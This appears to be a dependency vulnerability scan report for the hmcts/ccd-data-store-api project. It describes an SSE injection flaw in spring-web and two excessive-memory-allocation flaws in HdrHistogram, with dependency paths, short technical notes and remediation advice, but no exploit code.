org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The vulnerability exists in the handling of Server-Sent Events (SSE) when streaming plain text data. An attacker can inject crafted data into the event stream, breaking message boundaries and corrupting the stream delivered to other clients. By controlling streamed content, an attacker can manipulate how subsequent events are parsed by the client, potentially altering application state or injecting misleading data.

Note:

This is only exploitable if the application streams attacker-controlled data via SSE using unstructured/plain-text messages instead of a structured format (e.g., JSON).

Remediation

Upgrade org.springframework:spring-web to version 6.2.17, 7.0.6 or higher.

References

low severity
new

Memory Allocation with Excessive Size Value

  • Vulnerable module: org.hdrhistogram:HdrHistogram
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4, io.searchbox:jest@6.3.1 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 io.micrometer:micrometer-jakarta9@1.17.0 io.micrometer:micrometer-core@1.17.0 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-micrometer-metrics@4.1.0 io.micrometer:micrometer-core@1.17.0 org.hdrhistogram:HdrHistogram@2.1.9

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the decodeFromByteBuffer function due to improper handling of the numberOfSignificantValueDigits argument. An attacker can cause excessive memory consumption by supplying crafted input.

Notes:

  • The issue describes parameters “from Untrusted Buffer,” but the PoC never decodes a buffer. It invokes the public constructor directly, which does not prove the decode API is exploitable end-to-end as claimed.
  • The library does pass decoded header parameters into a constructor without an explicit memory budget check, which could allow moderate allocation pressure if an application decodes untrusted histogram bytes.
  • That is a narrower, lower-severity concern than the submitted OOM-DoS narrative, and it remains undemonstrated by this PoC.

Remediation

There is no fixed version for org.hdrhistogram:HdrHistogram.

References

low severity
new

Memory Allocation with Excessive Size Value

  • Vulnerable module: org.hdrhistogram:HdrHistogram
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4, io.searchbox:jest@6.3.1 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 io.micrometer:micrometer-jakarta9@1.17.0 io.micrometer:micrometer-core@1.17.0 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.hdrhistogram:HdrHistogram@2.1.9
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-micrometer-metrics@4.1.0 io.micrometer:micrometer-core@1.17.0 org.hdrhistogram:HdrHistogram@2.1.9

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the decodeFromCompressedByteBuffer function due to improper handling of the lengthOfCompressedContents argument. An attacker can cause excessive memory allocation by supplying a crafted compressed byte buffer, potentially leading to application instability or denial of service.

Notes:

  • lengthOfCompressedContents is read from the buffer and used directly for allocation/decompression input without bounds validation (AbstractHistogram.java 2275–2283). The same unchecked length is passed on the array-backed path (line 2279).
  • The issue uses allocateDirect to reach the new byte[lengthOfCompressedContents] branch. Typical log parsing uses ByteBuffer.wrap, so the heap-allocating path is not the default for .hlog ingestion, though the public API allows direct buffers.

Remediation

There is no fixed version for org.hdrhistogram:HdrHistogram.

References